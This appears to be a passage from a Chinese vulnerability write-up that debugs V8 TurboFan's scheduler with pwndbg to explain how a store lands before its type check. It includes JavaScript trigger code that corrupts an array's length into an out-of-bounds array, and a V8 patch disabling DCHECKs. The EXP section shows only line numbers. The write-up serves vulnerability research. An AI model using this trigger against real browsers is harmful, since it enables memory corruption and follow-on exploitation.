Schedule* Scheduler::ComputeSchedule(Zone* zone, Graph* graph, Flags flags,
                                     TickCounter* tick_counter) {
  Zone* schedule_zone =
      (flags & Scheduler::kTempSchedule) ? zone : graph->zone();

  // Reserve 10% more space for nodes if node splitting is enabled to try to
  // avoid resizing the vector since that would triple its zone memory usage.
  float node_hint_multiplier = (flags & Scheduler::kSplitNodes) ? 1.1 : 1;
  size_t node_count_hint = node_hint_multiplier * graph->NodeCount();

  Schedule* schedule =
      new (schedule_zone) Schedule(schedule_zone, node_count_hint);
  Scheduler scheduler(zone, graph, schedule, flags, node_count_hint,
                      tick_counter);

  scheduler.BuildCFG();
  scheduler.ComputeSpecialRPONumbering();
  scheduler.GenerateDominatorTree();

  scheduler.PrepareUses();
  scheduler.ScheduleEarly();
  scheduler.ScheduleLate();

  scheduler.SealFinalSchedule();

  return schedule;
}

输入图：
image.png
先是根据前面阶段优化好的IR图进行BuildCFG，生成控制流图。
其关键算法如下，从End节点开始自底向上广度优先搜索遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  void Run() {
    ResetDataStructures();
    Queue(scheduler_->graph_->end());

    while (!queue_.empty()) {  // Breadth-first backwards traversal.
      scheduler_->tick_counter_->DoTick();
      Node* node = queue_.front();
      queue_.pop();
      int max = NodeProperties::PastControlIndex(node);
      for (int i = NodeProperties::FirstControlIndex(node); i < max; i++) {
        Queue(node->InputAt(i));
      }
    }

    for (NodeVector::iterator i = control_.begin(); i != control_.end(); ++i) {
      ConnectBlocks(*i);  // Connect block to its predecessor/successors.
    }
  }
.............
  void Queue(Node* node) {
    // Mark the connected control nodes as they are queued.
    if (!queued_.Get(node)) {
      BuildBlocks(node);
      queue_.push(node);
      queued_.Set(node, true);
      control_.push_back(node);
    }
  }

当遍历到节点时，就调用BuildBlocks生成基本代码块，因此我们在BuildBlocks下断点，就可以观察其遍历节点的顺序以及操作。
当前遍历到End节点，使用FixNode将End节点添加到schedule_->end()这个block中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   330       control_.push_back(node);
   331     }
   332   }
   333 
   334   void BuildBlocks(Node* node) {
 ► 335     switch (node->opcode()) {
   336       case IrOpcode::kEnd:
   337         FixNode(schedule_->end(), node);
   338         break;
   339       case IrOpcode::kStart:
   340         FixNode(schedule_->start(), node);
pwndbg> p node->opcode()
$1 = v8::internal::compiler::IrOpcode::kEnd
pwndbg> p node->id()
$2 = 60

In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   315  private:
   316   friend class ScheduleLateNodeVisitor;
   317   friend class Scheduler;
   318 
   319   void FixNode(BasicBlock* block, Node* node) {
 ► 320     schedule_->AddNode(block, node);
   321     scheduler_->UpdatePlacement(node, Scheduler::kFixed);
   322   }
pwndbg> p block->id()
$4 = {
  index_ = 1
}

接下来遍历到End的第一个输入节点30: Return，可以知道Return节点不属于控制流的一部分，于是忽略，同理Throw也上一样。

1
2
3
4
5
6
7
8
9
10
11
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   362         if (NodeProperties::IsExceptionalCall(node)) {
   363           BuildBlocksForSuccessors(node);
   364         }
   365         break;
   366       default:
 ► 367         break;
pwndbg> p node->id()
$9 = 30
pwndbg> p node->opcode()
$10 = v8::internal::compiler::IrOpcode::kReturn

继续调试，后面不远处遍历到的节点是73：Call，显然这是借助了那个Terminate演变的Throw节点形成的一条路径遍历到此的，不然不可能这么快遍历到73:Call
image.png
接下来遍历到23:Branch

1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   350         FixNode(block, node);
   351         break;
   352       }
   353       case IrOpcode::kBranch:
   354       case IrOpcode::kSwitch:
 ► 355         BuildBlocksForSuccessors(node);
   356         break;
pwndbg> p node->id()
$18 = 23
pwndbg> p node->opcode()
$19 = v8::internal::compiler::IrOpcode::kBranch

根据编译原理，Branch下的分支要划分基本块，因此这里获取了输出分支个数，并创建新的基本块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   427   void BuildBlocksForSuccessors(Node* node) {
   428     size_t const successor_cnt = node->op()->ControlOutputCount();
   429     Node** successors = zone_->NewArray<Node*>(successor_cnt);
   430     NodeProperties::CollectControlProjections(node, successors, successor_cnt);
   431     for (size_t index = 0; index < successor_cnt; ++index) {
 ► 432       BuildBlockForNode(successors[index]);
   433     }
   434   }

   416   BasicBlock* BuildBlockForNode(Node* node) {
   417     BasicBlock* block = schedule_->block(node);
   418     if (block == nullptr) {
   419       block = schedule_->NewBasicBlock();
 ► 420       TRACE("Create block id:%d for #%d:%s\n", block->id().ToInt(), node->id(),
   421             node->op()->mnemonic());
   422       FixNode(block, node);
   423     }
   424     return block;
   425   }

当遍历完整个图以后，基本块以及划分，现在是要连接这些基本块

1
2
3
4
5
6
7
8
9
10
11
12
13
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   269         Queue(node->InputAt(i));
   270       }
   271     }
   272 
   273     for (NodeVector::iterator i = control_.begin(); i != control_.end(); ++i) {
 ► 274       ConnectBlocks(*i);  // Connect block to its predecessor/successors.
   275     }
   276   }
pwndbg> p (*i)->id()
$85 = 60
pwndbg> p (*i)->opcode()
$86 = v8::internal::compiler::IrOpcode::kEnd

仍然是从End开始，现在遍历到30:Return

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   390         scheduler_->UpdatePlacement(node, Scheduler::kFixed);
   391         ConnectTailCall(node);
   392         break;
   393       case IrOpcode::kReturn:
   394         scheduler_->UpdatePlacement(node, Scheduler::kFixed);
 ► 395         ConnectReturn(node);
   396         break;
   397       case IrOpcode::kThrow:
   398         scheduler_->UpdatePlacement(node, Scheduler::kFixed);
   399         ConnectThrow(node);
   400         break;
pwndbg> p node->id()
$88 = 30

ConnectReturn调用FindPredecessorBlock找到自己属于的基本块，并加入其中

1
2
3
4
5
6
7
  552   void ConnectReturn(Node* ret) {
  553     Node* return_control = NodeProperties::GetControlInput(ret);
► 554     BasicBlock* return_block = FindPredecessorBlock(return_control);
  555     TraceConnect(ret, return_block, nullptr);
  556     schedule_->AddReturn(return_block, ret);
  557   }

其中FindPredecessorBlock中不断的向上遍历，直到发现当前节点在基本块中存在

1
2
3
4
5
6
7
8
9
BasicBlock* FindPredecessorBlock(Node* node) {
  BasicBlock* predecessor_block = nullptr;
  while (true) {
    predecessor_block = schedule_->block(node);
    if (predecessor_block != nullptr) break;
    node = NodeProperties::GetControlInput(node);
  }
  return predecessor_block;
}

可以看出，这种找基本块的方法就是不断的遍历寻找当前节点的父节点的基本块。
接下来是我们的主角134：Throw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   394         scheduler_->UpdatePlacement(node, Scheduler::kFixed);
   395         ConnectReturn(node);
   396         break;
   397       case IrOpcode::kThrow:
   398         scheduler_->UpdatePlacement(node, Scheduler::kFixed);
 ► 399         ConnectThrow(node);
   400         break;
pwndbg> p node->id()
$91 = 134
pwndbg> p node->opcode()
$92 = v8::internal::compiler::IrOpcode::kThrow

In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   564   }
   565 
   566   void ConnectThrow(Node* thr) {
   567     Node* throw_control = NodeProperties::GetControlInput(thr);
   568     BasicBlock* throw_block = FindPredecessorBlock(throw_control);
 ► 569     TraceConnect(thr, throw_block, nullptr);
   570     schedule_->AddThrow(throw_block, thr);
   571   }
pwndbg> p throw_block->id()
$93 = {
  index_ = 3
}

它绑定在id为3的基本块中，同理，480:Throw绑定在id为4的基本块。当处理完所以的控制流节点以后，BuildCFG就完成了，接下来进入schedule的第二个阶段ComputeSpecialRPONumbering,将基本块的顺序排列好（确定顺序，哪个在前，哪个在后），然后是第三个阶段Scheduler::GenerateDominatorTree构造支配树，有了支配树，就可以确定每一个node被哪个block所支配了。最终确定每个node的所属块是在ScheduleLate流程，我们直接在此断点并跟入。
主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void ProcessQueue(Node* root) {
  ZoneQueue<Node*>* queue = &(scheduler_->schedule_queue_);
  for (Node* node : root->inputs()) {
    // Don't schedule coupled nodes on their own.
    if (scheduler_->GetPlacement(node) == Scheduler::kCoupled) {
      node = NodeProperties::GetControlInput(node);
    }

    // Test schedulability condition by looking at unscheduled use count.
    if (scheduler_->GetData(node)->unscheduled_count_ != 0) continue;

    queue->push(node);
    do {
      scheduler_->tick_counter_->DoTick();
      Node* const node = queue->front();
      queue->pop();
      VisitNode(node);
    } while (!queue->empty());
  }
}

遍历节点，然后调用VisitNode，其中VisitNode源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void VisitNode(Node* node) {
    DCHECK_EQ(0, scheduler_->GetData(node)->unscheduled_count_);

    // Don't schedule nodes that are already scheduled.
    if (schedule_->IsScheduled(node)) return;
    DCHECK_EQ(Scheduler::kSchedulable, scheduler_->GetPlacement(node));

    // Determine the dominating block for all of the uses of this node. It is
    // the latest block that this node can be scheduled in.
    TRACE("Scheduling #%d:%s\n", node->id(), node->op()->mnemonic());
    BasicBlock* block = GetCommonDominatorOfUses(node);
..............................................
    } else if (scheduler_->flags_ & Scheduler::kSplitNodes) {
      // Split the {node} if beneficial and return the new {block} for it.
      block = SplitNode(block, node);
    }

    // Schedule the node or a floating control structure.
    if (IrOpcode::IsMergeOpcode(node->opcode())) {
      ScheduleFloatingControl(block, node);
    } else if (node->opcode() == IrOpcode::kFinishRegion) {
      ScheduleRegion(block, node);
    } else {
      ScheduleNode(block, node);
    }
  }

可以知道这里是处理所有的节点，将节点添加到对应的基本代码块中。其中获取node的代码块的函数GetCommonDominatorOfUses源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  BasicBlock* GetCommonDominatorOfUses(Node* node) {
    BasicBlock* block = nullptr;
    for (Edge edge : node->use_edges()) {
      if (!scheduler_->IsLive(edge.from())) continue;
      BasicBlock* use_block = GetBlockForUse(edge);
      block = block == nullptr
                  ? use_block
                  : use_block == nullptr
                        ? block
                        : BasicBlock::GetCommonDominator(block, use_block);
    }
    return block;
  }
  
// static
BasicBlock* BasicBlock::GetCommonDominator(BasicBlock* b1, BasicBlock* b2) {
  while (b1 != b2) {
    if (b1->dominator_depth() < b2->dominator_depth()) {
      b2 = b2->dominator();
    } else {
      b1 = b1->dominator();
    }
  }
  return b1;
}

其算法是遍历use节点，即当前节点的下一层的from节点，首先计算出这些节点属于哪个代码块，然后选取出这些代码块共同的父节点做为当前节点的代码块。
image.png
从图中来看，Store的代码块决定链是这样的76:Store->472:Load->474:Word32Equal->475:DeoptimizeUnless->479:DeoptimizeUnless->GetCommonDominator(423:Unreachable,480:Throw)。之前已经分析过，480:Throw是划分在基本块4，而134:Throw是被划分在基本块3中。那么现在就是分析一下423:Unreachable属于哪个基本块？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   1584       BasicBlock* use_block = GetBlockForUse(edge);
   1585       block = block == nullptr
   1586                   ? use_block
   1587                   : use_block == nullptr
   1588                         ? block
 ► 1589                         : BasicBlock::GetCommonDominator(block, use_block);
   1590     }
   1591     return block;
   1592   }
   1593 
pwndbg> p block->id()
$25 = {
  index_ = 4
}
pwndbg> p use_block->id()
$26 = {
  index_ = 3
}
pwndbg> p node->id()
$27 = 423

即寻找134和480基本块的公共块节点
从图中看，也就是24所在的块
image.png
调试也可以验证出块id确实为3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   415 
   416   BasicBlock* BuildBlockForNode(Node* node) {
   417     BasicBlock* block = schedule_->block(node);
   418     if (block == nullptr) {
   419       block = schedule_->NewBasicBlock();
 ► 420       TRACE("Create block id:%d for #%d:%s\n", block->id().ToInt(), node->id(),
   421             node->op()->mnemonic());
   422       FixNode(block, node);
   423     }
   424     return block;
   425   }
pwndbg> p block->id()
$32 = {
  index_ = 3
}
pwndbg> p node->id()
$33 = 24

因此423:Unreachable属于基本块3，而423:Unreachable又在480:Throw之上，是480:Throw公共块节点。因此，GetCommonDominator(423:Unreachable,480:Throw)返回的block的id为3，所以76:Store是被划分进基本块3的。同理，我们来分析一下469:DeoptimizeUnless这个节点，该节点是执行Stroe之前对对象类型进行检查的操作。
image.png
该节点的blockID = GetCommonDominator(470:Merge,471:EffectPhi)，其中470是一个Merge，因此其在BuildCFG阶段的BuildBlocks就已经划分，通过调试其块id为4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   415 
   416   BasicBlock* BuildBlockForNode(Node* node) {
   417     BasicBlock* block = schedule_->block(node);
   418     if (block == nullptr) {
   419       block = schedule_->NewBasicBlock();
 ► 420       TRACE("Create block id:%d for #%d:%s\n", block->id().ToInt(), node->id(),
   421             node->op()->mnemonic());
   422       FixNode(block, node);
   423     }
   424     return block;
   425   }
pwndbg> p block->id()
$35 = {
  index_ = 4
}
pwndbg> p node->id()
$36 = 470
pwndbg>

而471的blockid由76:Stroe决定，前面我们推出id为3，由于Merge和EffectPhi是两个特殊节点，因此不能用前面的方法推导其blockid，因为在GetCommonDominatorOfUses函数中调用了GetBlockForUse，而该函数对这两种节点做了特殊处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BasicBlock* GetBlockForUse(Edge edge) {
    // TODO(titzer): ignore uses from dead nodes (not visited in PrepareUses()).
    // Dead uses only occur if the graph is not trimmed before scheduling.
    Node* use = edge.from();
    if (IrOpcode::IsPhiOpcode(use->opcode())) {
      .........................
      // If the use is from a fixed (i.e. non-floating) phi, we use the
      // predecessor block of the corresponding control input to the merge.
      if (scheduler_->GetPlacement(use) == Scheduler::kFixed) {
        TRACE("  input@%d into a fixed phi #%d:%s\n", edge.index(), use->id(),
              use->op()->mnemonic());
        Node* merge = NodeProperties::GetControlInput(use, 0);
        DCHECK(IrOpcode::IsMergeOpcode(merge->opcode()));
        Node* input = NodeProperties::GetControlInput(merge, edge.index());
        return FindPredecessorBlock(input);
      }
    } else if (IrOpcode::IsMergeOpcode(use->opcode())) {
      // If the use is from a fixed (i.e. non-floating) merge, we use the
      // predecessor block of the current input to the merge.
      if (scheduler_->GetPlacement(use) == Scheduler::kFixed) {
        TRACE("  input@%d into a fixed merge #%d:%s\n", edge.index(), use->id(),
              use->op()->mnemonic());
        return FindPredecessorBlock(edge.to());
      }
    }
.........................

因此，对于471，其BlockID=FindPredecessorBlock(469)

1
2
3
4
5
6
7
8
9
10
11
12
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   1615         TRACE("  input@%d into a fixed phi #%d:%s\n", edge.index(), use->id(),
   1616               use->op()->mnemonic());
   1617         Node* merge = NodeProperties::GetControlInput(use, 0);
   1618         DCHECK(IrOpcode::IsMergeOpcode(merge->opcode()));
   1619         Node* input = NodeProperties::GetControlInput(merge, edge.index());
 ► 1620         return FindPredecessorBlock(input);
   1621       }
pwndbg> p input->id()
$50 = 469
pwndbg> p use->id()
$51 = 471

即向上查找，从图上来看，找到的就是465所处的blockID
image.png
由于465是Branch的一个分支，因此它的blockID在BuildCFG阶段就确定了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   415 
   416   BasicBlock* BuildBlockForNode(Node* node) {
   417     BasicBlock* block = schedule_->block(node);
   418     if (block == nullptr) {
   419       block = schedule_->NewBasicBlock();
 ► 420       TRACE("Create block id:%d for #%d:%s\n", block->id().ToInt(), node->id(),
   421             node->op()->mnemonic());
   422       FixNode(block, node);
   423     }
   424     return block;
   425   }
pwndbg> p block->id()
$56 = {
  index_ = 7
}
pwndbg> p node->id()
$57 = 465

同理，对于470：Merge，也是FindPredecessorBlock(469)，返回的blockID为7

1
2
3
4
5
6
7
8
9
10
11
12
13
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   1623       // If the use is from a fixed (i.e. non-floating) merge, we use the
   1624       // predecessor block of the current input to the merge.
   1625       if (scheduler_->GetPlacement(use) == Scheduler::kFixed) {
   1626         TRACE("  input@%d into a fixed merge #%d:%s\n", edge.index(), use->id(),
   1627               use->op()->mnemonic());
 ► 1628         return FindPredecessorBlock(edge.to());
   1629       }
   1630     }
pwndbg> p edge.to()->id()
$60 = 469
pwndbg> p use->id()
$61 = 470

因此469:DeoptimizeUnless这个节点是属于基本块7的。
从以上分析，可以知道ScheduleLate阶段就是在划分节点所属的基本块，在ScheduleLate流程后，接下来是SealFinalSchedule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void Scheduler::SealFinalSchedule() {
  TRACE("--- SEAL FINAL SCHEDULE ------------------------------------\n");

  // Serialize the assembly order and reverse-post-order numbering.
  special_rpo_->SerializeRPOIntoSchedule();
  special_rpo_->PrintAndVerifySpecialRPO();

  // Add collected nodes for basic blocks to their blocks in the right order.
  int block_num = 0;
  for (NodeVector* nodes : scheduled_nodes_) {
    BasicBlock::Id id = BasicBlock::Id::FromInt(block_num++);
    BasicBlock* block = schedule_->GetBlockById(id);
    if (nodes) {
      for (Node* node : base::Reversed(*nodes)) {
        schedule_->AddNode(block, node);
      }
    }
  }
}

这个函数才是将节点真正的添加到block中，之前的流程只是建立了对应表，并没有实际写入。SerializeRPOIntoSchedule函数是确立block的RPO Number，与我们前面所指代的BlockID不一样，前面我们指代的BlockID特指其建立的顺序，即它是按找顺序下来的；而这里的RPO Number才是我们在输出文件中看到的基本块的真正标号
image.png
可以知道这里是按链表顺序来确立RPO的，之前的一系列流程中block之间通过rpo_next()建立了先后的顺序。

1
2
3
4
5
6
7
8
9
10
// Serialize the previously computed order as a special reverse-post-order
// numbering for basic blocks into the final schedule.
void SerializeRPOIntoSchedule() {
  int32_t number = 0;
  for (BasicBlock* b = order_; b != nullptr; b = b->rpo_next()) {
    b->set_rpo_number(number++);
    schedule_->rpo_order()->push_back(b);
  }
  BeyondEndSentinel()->set_rpo_number(number);
}

调试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
In file: /home/hi/Desktop/v8/src/compiler/scheduler.cc
   1733   for (NodeVector* nodes : scheduled_nodes_) {
   1734     BasicBlock::Id id = BasicBlock::Id::FromInt(block_num++);
   1735     BasicBlock* block = schedule_->GetBlockById(id);
   1736     if (nodes) {
   1737       for (Node* node : base::Reversed(*nodes)) {
 ► 1738         schedule_->AddNode(block, node);
   1739       }
   1740     }
   1741   }
   1742 }
   1743 
pwndbg> p node->id()
$62 = 76
pwndbg> p block->id()
$63 = {
  index_ = 3
}
pwndbg> p block->rpo_number_
$65 = 4
...............................
pwndbg> p block->id()       
$66 = {
  index_ = 7
}
pwndbg> p node->id()        
$67 = 469
pwndbg> p block->rpo_number_
$68 = 5

可以知道，469属于B5，而76属于B4，位于了B5的前面，这与我们看到的结果吻合
image.png

其他问题

由此，我们漏洞原理已经搞清楚了，还有几个地方需要解决。为什么在第一次大量循环触发优化以后，还需要再来第二次大量循环触发优化，opt函数中为什么要弄一个分支？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function opt(arg1,arg2) {
   if (arg2 == 666) {
      return 666;
   }
   .............
}

for (let i=0;i<10000;i++) {
   opt(A,0);
   opt(B,0);
}

for (let i=0;i<5000;i++) {
   opt(A,666);
   opt(B,666);
}

经过测试和经验，发现当代码中存在这种Unreachable节点时，优化的函数不会被触发到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function opt(arg) {
   arr[0] = 4.4;
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   return 1;
}

var arr = [1.1,2.2,3.3];
for (var i=0;i<10000;i++) {
   opt(arr);
}

arr = [1.1,2.2,3.3];
%SystemBreak();
opt(arr);

为了能够触发到优化的函数，使用分支来欺骗编译器的deoptimization反馈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function opt(arg,arg2) {
   if (arg2 == 666) {
      return 666;
   }
   arr[0] = 4.4;
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   return 1;
}

var arr = [1.1,2.2,3.3];
for (var i=0;i<10000;i++) {
   opt(arr,0);
}

for (var i=0;i<5000;i++) {
   opt(arr,666);
}

arr = [1.1,2.2,3.3];
%SystemBreak();
opt(arr);

这样以后发现在gdb中能够成功在JIT代码处断点断下
image.png
有了这个小trick以后，我们就可以构造OOB数组了，首先让opt函数优化处理对象，优化后的代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
..........................................................
0x3d35000847e5    e5  41c7400bfeffffff movl [r8+0xb],0xfffffffe
0x3d35000847ed    ed  4c8b5de0       REX.W movq r11,[rbp-0x20]
0x3d35000847f1    f1  458b63ff       movl r12,[r11-0x1]
0x3d35000847f5    f5  4c8b15c7ffffff REX.W movq r10,[rip+0xffffffc7]
0x3d35000847fc    fc  4d39e2         REX.W cmpq r10,r12
0x3d35000847ff    ff  7312           jnc 0x3d3500084813  <+0x113>
0x3d3500084801   101  488b15caffffff REX.W movq rdx,[rip+0xffffffca]
0x3d3500084808   108  4c8b1509ffffff REX.W movq r10,[rip+0xffffff09]
0x3d350008480f   10f  41ffd2         call r10
0x3d3500084812   112  cc             int3l
0x3d3500084813   113  41bee1042808   movl r14,0x82804e1      ;; (compressed) object: 0x3d35082804e1 <Map(UINT8ELEMENTS)>
0x3d3500084819   119  4539e6         cmpl r14,r12
0x3d350008481c   11c  0f85a0000000   jnz 0x3d35000848c2  <+0x1c2>
0x3d3500084822   122  49bc692e2508353d0000 REX.W movq r12,0x3d3508252e69    ;; object: 0x3d3508252e69 <HeapNumber 4294967296.0>
0x3d350008482c   12c  41f6c401       testb r12,0x1
0x3d3500084830   130  0f8598000000   jnz 0x3d35000848ce  <+0x1ce>
0x3d3500084836   136  cc             int3l
0x3d3500084837   137  41bca9502808   movl r12,0x82850a9      ;; (compressed) object: 0x3d35082850a9 <Map(HOLEY_ELEMENTS)>
0x3d350008483d   13d  453be1         cmpl r12,r9
0x3d3500084840   140  0f8420000000   jz 0x3d3500084866  <+0x166>
0x3d3500084846   146  e90f000000     jmp 0x3d350008485a  <+0x15a>
0x3d350008484b   14b  41bce14f2808   movl r12,0x8284fe1      ;; (compressed) object: 0x3d3508284fe1 <Map(HOLEY_ELEMENTS)>
0x3d3500084851   151  453be1         cmpl r12,r9
......................................................

可以看到，先执行了movl [r8+0xb],0xfffffffe，后面才是类型检查，而对于数组对象0xb处正好是length，该字段被修改为负数，因此构造了一个OOB数组。后续就可以很方便利用了。本文为了便于调试，我们将某些DCHECK注释掉了，如下是patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
diff --git a/src/compiler/backend/code-generator.cc b/src/compiler/backend/code-generator.cc
index a441a36496..02ae7c7d23 100644
--- a/src/compiler/backend/code-generator.cc
+++ b/src/compiler/backend/code-generator.cc
@@ -701,10 +701,10 @@ CodeGenerator::CodeGenResult CodeGenerator::AssembleInstruction(
   if (adjust_stack) AssembleTailCallBeforeGap(instr, first_unused_stack_slot);
   AssembleGaps(instr);
   if (adjust_stack) AssembleTailCallAfterGap(instr, first_unused_stack_slot);
-  DCHECK_IMPLIES(
+  /*DCHECK_IMPLIES(
       block->must_deconstruct_frame(),
       instr != instructions()->InstructionAt(block->last_instruction_index()) ||
-          instr->IsRet() || instr->IsJump());
+          instr->IsRet() || instr->IsJump());*/
   if (instr->IsJump() && block->must_deconstruct_frame()) {
     AssembleDeconstructFrame();
   }
diff --git a/src/compiler/backend/frame-elider.cc b/src/compiler/backend/frame-elider.cc
index 293fc9352c..1d50bb5dd2 100644
--- a/src/compiler/backend/frame-elider.cc
+++ b/src/compiler/backend/frame-elider.cc
@@ -49,7 +49,7 @@ void FrameElider::MarkDeConstruction() {
       // deconstructions.
       for (RpoNumber& succ : block->successors()) {
         if (!InstructionBlockAt(succ)->needs_frame()) {
-          DCHECK_EQ(1U, block->SuccessorCount());
+          //DCHECK_EQ(1U, block->SuccessorCount());
           const Instruction* last =
               InstructionAt(block->last_instruction_index());
           if (last->IsThrow() || last->IsTailCall() ||
@@ -59,7 +59,7 @@ void FrameElider::MarkDeConstruction() {
             continue;
           }
           // The only cases when we need to deconstruct are ret and jump.
-          DCHECK(last->IsRet() || last->IsJump());
+          //DCHECK(last->IsRet() || last->IsJump());
           block->mark_must_deconstruct_frame();
         }
       }
diff --git a/src/compiler/backend/instruction.cc b/src/compiler/backend/instruction.cc
index f4c09a7cf4..5b5cc27924 100644
--- a/src/compiler/backend/instruction.cc
+++ b/src/compiler/backend/instruction.cc
@@ -700,12 +700,12 @@ void InstructionSequence::ValidateEdgeSplitForm() const {
   // has an edge to a block (== a successor) with more than one predecessors.
   for (const InstructionBlock* block : instruction_blocks()) {
     if (block->SuccessorCount() > 1) {
-      for (const RpoNumber& successor_id : block->successors()) {
-        const InstructionBlock* successor = InstructionBlockAt(successor_id);
-        // Expect precisely one predecessor: "block".
+      /*for (const RpoNumber& successor_id : block->successors()) {
+        //const InstructionBlock* successor = InstructionBlockAt(successor_id);
+        //Expect precisely one predecessor: "block".
         CHECK(successor->PredecessorCount() == 1 &&
               successor->predecessors()[0] == block->rpo_number());
-      }
+      }*/
     }
   }
 }
diff --git a/src/compiler/dead-code-elimination.cc b/src/compiler/dead-code-elimination.cc
index f39e6cabfb..4ec7703947 100644
--- a/src/compiler/dead-code-elimination.cc
+++ b/src/compiler/dead-code-elimination.cc
@@ -317,7 +317,7 @@ Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
          node->opcode() == IrOpcode::kTailCall);
   Reduction reduction = PropagateDeadControl(node);
   if (reduction.Changed()) return reduction;
-  if (FindDeadInput(node) != nullptr) {
+  if (node->opcode() != IrOpcode::kTerminate && FindDeadInput(node) != nullptr) {
     Node* effect = NodeProperties::GetEffectInput(node, 0);
     Node* control = NodeProperties::GetControlInput(node, 0);
     if (effect->opcode() != IrOpcode::kUnreachable) {
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index e7285f0074..8d157c1eba 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -815,7 +815,7 @@ void TraceScheduleAndVerify(OptimizedCompilationInfo* info, PipelineData* data,
     os << "-- Schedule --------------------------------------\n" << *schedule;
   }
 
-  if (FLAG_turbo_verify) ScheduleVerifier::Run(schedule);
+  //if (FLAG_turbo_verify) ScheduleVerifier::Run(schedule);
 }
 
 class SourcePositionWrapper final : public Reducer {
diff --git a/src/compiler/schedule.cc b/src/compiler/schedule.cc
index 8bdcef511b..a232867d5c 100644
--- a/src/compiler/schedule.cc
+++ b/src/compiler/schedule.cc
@@ -253,7 +253,7 @@ void Schedule::AddCall(BasicBlock* block, Node* call, BasicBlock* success_block,
 
 void Schedule::AddBranch(BasicBlock* block, Node* branch, BasicBlock* tblock,
                          BasicBlock* fblock) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  //DCHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK_EQ(IrOpcode::kBranch, branch->opcode());
   block->set_control(BasicBlock::kBranch);
   AddSuccessor(block, tblock);
@@ -294,7 +294,7 @@ void Schedule::AddDeoptimize(BasicBlock* block, Node* input) {
 }
 
 void Schedule::AddThrow(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  //DCHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kThrow);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
diff --git a/src/compiler/scheduler.cc b/src/compiler/scheduler.cc
index 0b0a548411..4eff63eb4c 100644
--- a/src/compiler/scheduler.cc
+++ b/src/compiler/scheduler.cc
@@ -1418,7 +1418,7 @@ class ScheduleLateNodeVisitor {
 
     // The schedule early block dominates the schedule late block.
     BasicBlock* min_block = scheduler_->GetData(node)->minimum_block_;
-    DCHECK_EQ(min_block, BasicBlock::GetCommonDominator(block, min_block));
+    //DCHECK_EQ(min_block, BasicBlock::GetCommonDominator(block, min_block));
     TRACE(
         "Schedule late of #%d:%s is id:%d at loop depth %d, minimum = id:%d\n",
         node->id(), node->op()->mnemonic(), block->id().ToInt(),

漏洞利用

由于release版本中不存在DCHECK，因此该漏洞可以直接在release版本中被利用
EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
